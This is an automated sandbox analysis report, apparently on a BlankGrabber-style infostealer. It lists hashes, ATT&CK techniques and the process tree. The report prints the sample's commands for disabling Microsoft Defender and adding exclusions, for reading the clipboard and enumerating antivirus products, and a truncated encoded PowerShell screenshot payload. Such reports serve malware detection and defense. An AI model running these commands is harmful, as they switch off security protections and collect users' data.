63348fd69ac022c3312cea2dbc51655bdf3b44071eaf4fc24d22abcc5cf41566

Analysis

max time kernel
149s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 05:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 6.9MB
Sample260728-gafkmabq21
SHA256 63348fd69ac022c3312cea2dbc51655bdf3b44071eaf4fc24d22abcc5cf41566
MD5 8d8a83523c0c945a9ed6a84c2828e288
SHA1 ab8f30526e21855e6ee02f3c1f06f53e03589cd3
SHA512 c19e060a618d10816a7f27c67e47163b615bda93a1d09924406fcd34afbeff166162a6f63dc33c85e1d7ef092a8c898654c2949ace7ca4b1b55d2a67dd4ed45e
SSDEEP 98304:ozdbM+Q2y+GiedsqEjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/Bb1uJ1nL22BLRS0:uVed1COjmFQR4MVGFtwLP7nL225R+qp
TLSH
T14B76338EABA106F5E4B3963CC183C156DB31B92A07B4C9DF03E053655E632C2D93EB56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4660	powershell.exe
4892	powershell.exe
2852	powershell.exe
3476	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4892	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2520	powershell.exe
628	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3928	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
14	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
952	tasklist.exe
3800	tasklist.exe
1180	tasklist.exe

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000024536-21.dat	upx
behavioral1/memory/1528-25-0x00007FFE5C4E0000-0x00007FFE5CAC9000-memory.dmp	upx
behavioral1/files/0x0007000000024528-27.dat	upx
behavioral1/files/0x0007000000024534-30.dat	upx
behavioral1/memory/1528-48-0x00007FFE730D0000-0x00007FFE730DF000-memory.dmp	upx
behavioral1/memory/1528-47-0x00007FFE69A50000-0x00007FFE69A73000-memory.dmp	upx
behavioral1/files/0x0007000000024530-46.dat	upx
behavioral1/files/0x000700000002452f-45.dat	upx
behavioral1/files/0x000700000002452e-44.dat	upx
behavioral1/files/0x000700000002452d-43.dat	upx
behavioral1/files/0x000700000002452b-42.dat	upx
behavioral1/files/0x000700000002452a-41.dat	upx
behavioral1/files/0x0007000000024529-40.dat	upx
behavioral1/files/0x0007000000024527-39.dat	upx
behavioral1/files/0x000700000002453b-38.dat	upx
behavioral1/files/0x000700000002453a-37.dat	upx
behavioral1/files/0x0007000000024539-36.dat	upx
behavioral1/files/0x0007000000024535-33.dat	upx
behavioral1/files/0x0007000000024533-32.dat	upx
behavioral1/memory/1528-52-0x00007FFE696F0000-0x00007FFE6971D000-memory.dmp	upx
behavioral1/memory/1528-51-0x00007FFE69720000-0x00007FFE69739000-memory.dmp	upx
behavioral1/memory/1528-58-0x00007FFE69390000-0x00007FFE693B3000-memory.dmp	upx
behavioral1/memory/1528-60-0x00007FFE5C370000-0x00007FFE5C4E0000-memory.dmp	upx
behavioral1/memory/1528-62-0x00007FFE68D50000-0x00007FFE68D69000-memory.dmp	upx
behavioral1/memory/1528-64-0x00007FFE6D1D0000-0x00007FFE6D1DD000-memory.dmp	upx
behavioral1/memory/1528-72-0x00007FFE5BC80000-0x00007FFE5BFF9000-memory.dmp	upx
behavioral1/memory/1528-71-0x00007FFE69A50000-0x00007FFE69A73000-memory.dmp	upx
behavioral1/memory/1528-70-0x00007FFE5BBC0000-0x00007FFE5BC78000-memory.dmp	upx
behavioral1/memory/1528-69-0x00007FFE68C50000-0x00007FFE68C7E000-memory.dmp	upx
behavioral1/memory/1528-78-0x00007FFE5BAA0000-0x00007FFE5BBBC000-memory.dmp	upx
behavioral1/memory/1528-77-0x00007FFE697D0000-0x00007FFE697DD000-memory.dmp	upx
behavioral1/memory/1528-76-0x00007FFE68CD0000-0x00007FFE68CE4000-memory.dmp	upx
behavioral1/memory/1528-68-0x00007FFE5C4E0000-0x00007FFE5CAC9000-memory.dmp	upx
behavioral1/memory/1528-159-0x00007FFE69390000-0x00007FFE693B3000-memory.dmp	upx
behavioral1/memory/1528-222-0x00007FFE68D50000-0x00007FFE68D69000-memory.dmp	upx
behavioral1/memory/1528-239-0x00007FFE68C50000-0x00007FFE68C7E000-memory.dmp	upx
behavioral1/memory/1528-240-0x00007FFE5BBC0000-0x00007FFE5BC78000-memory.dmp	upx
behavioral1/memory/1528-249-0x00007FFE69A50000-0x00007FFE69A73000-memory.dmp	upx
behavioral1/memory/1528-262-0x00007FFE5BAA0000-0x00007FFE5BBBC000-memory.dmp	upx
behavioral1/memory/1528-254-0x00007FFE5C370000-0x00007FFE5C4E0000-memory.dmp	upx
behavioral1/memory/1528-248-0x00007FFE5C4E0000-0x00007FFE5CAC9000-memory.dmp	upx
behavioral1/memory/1528-263-0x00007FFE5BC80000-0x00007FFE5BFF9000-memory.dmp	upx
behavioral1/memory/1528-273-0x00007FFE5C4E0000-0x00007FFE5CAC9000-memory.dmp	upx
behavioral1/memory/1528-303-0x00007FFE5C4E0000-0x00007FFE5CAC9000-memory.dmp	upx
behavioral1/memory/1528-348-0x00007FFE696F0000-0x00007FFE6971D000-memory.dmp	upx
behavioral1/memory/1528-362-0x00007FFE68CD0000-0x00007FFE68CE4000-memory.dmp	upx
behavioral1/memory/1528-361-0x00007FFE697D0000-0x00007FFE697DD000-memory.dmp	upx
behavioral1/memory/1528-360-0x00007FFE5BAA0000-0x00007FFE5BBBC000-memory.dmp	upx
behavioral1/memory/1528-359-0x00007FFE5C4E0000-0x00007FFE5CAC9000-memory.dmp	upx
behavioral1/memory/1528-358-0x00007FFE5BBC0000-0x00007FFE5BC78000-memory.dmp	upx
behavioral1/memory/1528-357-0x00007FFE68C50000-0x00007FFE68C7E000-memory.dmp	upx
behavioral1/memory/1528-356-0x00007FFE6D1D0000-0x00007FFE6D1DD000-memory.dmp	upx
behavioral1/memory/1528-355-0x00007FFE68D50000-0x00007FFE68D69000-memory.dmp	upx
behavioral1/memory/1528-354-0x00007FFE5C370000-0x00007FFE5C4E0000-memory.dmp	upx
behavioral1/memory/1528-353-0x00007FFE69390000-0x00007FFE693B3000-memory.dmp	upx
behavioral1/memory/1528-352-0x00007FFE5BC80000-0x00007FFE5BFF9000-memory.dmp	upx
behavioral1/memory/1528-351-0x00007FFE69720000-0x00007FFE69739000-memory.dmp	upx
behavioral1/memory/1528-350-0x00007FFE69A50000-0x00007FFE69A73000-memory.dmp	upx
behavioral1/memory/1528-349-0x00007FFE730D0000-0x00007FFE730DF000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3680	cmd.exe
1944	cmd.exe
2964	cmd.exe
2184	cmd.exe
4224	cmd.exe
4764	cmd.exe
4280	cmd.exe
2600	cmd.exe
1940	cmd.exe
2436	cmd.exe
5004	cmd.exe
1084	cmd.exe
3484	cmd.exe
2684	cmd.exe
3360	cmd.exe
4956	cmd.exe
3796	cmd.exe
4684	cmd.exe
3296	cmd.exe
2256	cmd.exe
2652	cmd.exe
4028	cmd.exe
2060	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1768	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1588	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4660	powershell.exe
4660	powershell.exe
4892	powershell.exe
4892	powershell.exe
1868	powershell.exe
1868	powershell.exe
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
1868	powershell.exe
4660	powershell.exe
4892	powershell.exe
2852	powershell.exe
2852	powershell.exe
4756	powershell.exe
4756	powershell.exe
3476	powershell.exe
3476	powershell.exe
1360	powershell.exe
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	tasklist.exe
Token: SeDebugPrivilege	3800	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2576	WMIC.exe
Token: SeSecurityPrivilege	2576	WMIC.exe
Token: SeTakeOwnershipPrivilege	2576	WMIC.exe
Token: SeLoadDriverPrivilege	2576	WMIC.exe
Token: SeSystemProfilePrivilege	2576	WMIC.exe
Token: SeSystemtimePrivilege	2576	WMIC.exe
Token: SeProfSingleProcessPrivilege	2576	WMIC.exe
Token: SeIncBasePriorityPrivilege	2576	WMIC.exe
Token: SeCreatePagefilePrivilege	2576	WMIC.exe
Token: SeBackupPrivilege	2576	WMIC.exe
Token: SeRestorePrivilege	2576	WMIC.exe
Token: SeShutdownPrivilege	2576	WMIC.exe
Token: SeDebugPrivilege	2576	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2576	WMIC.exe
Token: SeRemoteShutdownPrivilege	2576	WMIC.exe
Token: SeUndockPrivilege	2576	WMIC.exe
Token: SeManageVolumePrivilege	2576	WMIC.exe
Token: 33	2576	WMIC.exe
Token: 34	2576	WMIC.exe
Token: 35	2576	WMIC.exe
Token: 36	2576	WMIC.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	1180	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2576	WMIC.exe
Token: SeSecurityPrivilege	2576	WMIC.exe
Token: SeTakeOwnershipPrivilege	2576	WMIC.exe
Token: SeLoadDriverPrivilege	2576	WMIC.exe
Token: SeSystemProfilePrivilege	2576	WMIC.exe
Token: SeSystemtimePrivilege	2576	WMIC.exe
Token: SeProfSingleProcessPrivilege	2576	WMIC.exe
Token: SeIncBasePriorityPrivilege	2576	WMIC.exe
Token: SeCreatePagefilePrivilege	2576	WMIC.exe
Token: SeBackupPrivilege	2576	WMIC.exe
Token: SeRestorePrivilege	2576	WMIC.exe
Token: SeShutdownPrivilege	2576	WMIC.exe
Token: SeDebugPrivilege	2576	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2576	WMIC.exe
Token: SeRemoteShutdownPrivilege	2576	WMIC.exe
Token: SeUndockPrivilege	2576	WMIC.exe
Token: SeManageVolumePrivilege	2576	WMIC.exe
Token: 33	2576	WMIC.exe
Token: 34	2576	WMIC.exe
Token: 35	2576	WMIC.exe
Token: 36	2576	WMIC.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2260	WMIC.exe
Token: SeSecurityPrivilege	2260	WMIC.exe
Token: SeTakeOwnershipPrivilege	2260	WMIC.exe
Token: SeLoadDriverPrivilege	2260	WMIC.exe
Token: SeSystemProfilePrivilege	2260	WMIC.exe
Token: SeSystemtimePrivilege	2260	WMIC.exe
Token: SeProfSingleProcessPrivilege	2260	WMIC.exe
Token: SeIncBasePriorityPrivilege	2260	WMIC.exe
Token: SeCreatePagefilePrivilege	2260	WMIC.exe
Token: SeBackupPrivilege	2260	WMIC.exe
Token: SeRestorePrivilege	2260	WMIC.exe
Token: SeShutdownPrivilege	2260	WMIC.exe
Token: SeDebugPrivilege	2260	WMIC.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 1528	848	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	84
PID 1528 wrote to memory of 4028	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	85
PID 1528 wrote to memory of 2184	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	86
PID 1528 wrote to memory of 2652	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	89
PID 1528 wrote to memory of 4224	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 2652 wrote to memory of 952	2652	cmd.exe	93
PID 4224 wrote to memory of 3800	4224	cmd.exe	94
PID 1528 wrote to memory of 4764	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	95
PID 1528 wrote to memory of 628	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	97
PID 1528 wrote to memory of 4280	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	99
PID 1528 wrote to memory of 5004	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	101
PID 2184 wrote to memory of 4892	2184	cmd.exe	103
PID 4028 wrote to memory of 4660	4028	cmd.exe	104
PID 1528 wrote to memory of 1084	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 1528 wrote to memory of 4152	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	108
PID 4764 wrote to memory of 2576	4764	cmd.exe	110
PID 4280 wrote to memory of 1180	4280	cmd.exe	111
PID 4152 wrote to memory of 1868	4152	cmd.exe	112
PID 628 wrote to memory of 2520	628	cmd.exe	113
PID 1084 wrote to memory of 1588	1084	cmd.exe	114
PID 5004 wrote to memory of 4244	5004	cmd.exe	115
PID 1528 wrote to memory of 2060	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 2060 wrote to memory of 4300	2060	cmd.exe	118
PID 1528 wrote to memory of 4684	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	119
PID 4684 wrote to memory of 3028	4684	cmd.exe	121
PID 1868 wrote to memory of 4508	1868	powershell.exe	122
PID 1528 wrote to memory of 3484	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	123
PID 3484 wrote to memory of 3324	3484	cmd.exe	125
PID 1528 wrote to memory of 3680	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	126
PID 4508 wrote to memory of 3764	4508	csc.exe	128
PID 3680 wrote to memory of 3836	3680	cmd.exe	129
PID 1528 wrote to memory of 2600	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	131
PID 2600 wrote to memory of 3064	2600	cmd.exe	133
PID 1528 wrote to memory of 3296	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	134
PID 3296 wrote to memory of 2852	3296	cmd.exe	136
PID 1528 wrote to memory of 2684	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 2684 wrote to memory of 4756	2684	cmd.exe	139
PID 1528 wrote to memory of 3360	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	140
PID 3360 wrote to memory of 2664	3360	cmd.exe	142
PID 1528 wrote to memory of 1940	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 1940 wrote to memory of 3928	1940	cmd.exe	145
PID 1528 wrote to memory of 4956	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	146
PID 4956 wrote to memory of 2260	4956	cmd.exe	148
PID 1528 wrote to memory of 3796	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	149
PID 3796 wrote to memory of 556	3796	cmd.exe	151
PID 1528 wrote to memory of 1944	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	154
PID 1944 wrote to memory of 260	1944	cmd.exe	156
PID 1528 wrote to memory of 2964	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	157
PID 2964 wrote to memory of 3476	2964	cmd.exe	159
PID 1528 wrote to memory of 2436	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	160
PID 2436 wrote to memory of 1768	2436	cmd.exe	163
PID 1528 wrote to memory of 2256	1528	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	164
PID 2256 wrote to memory of 1360	2256	cmd.exe	166

C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:848
- C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AY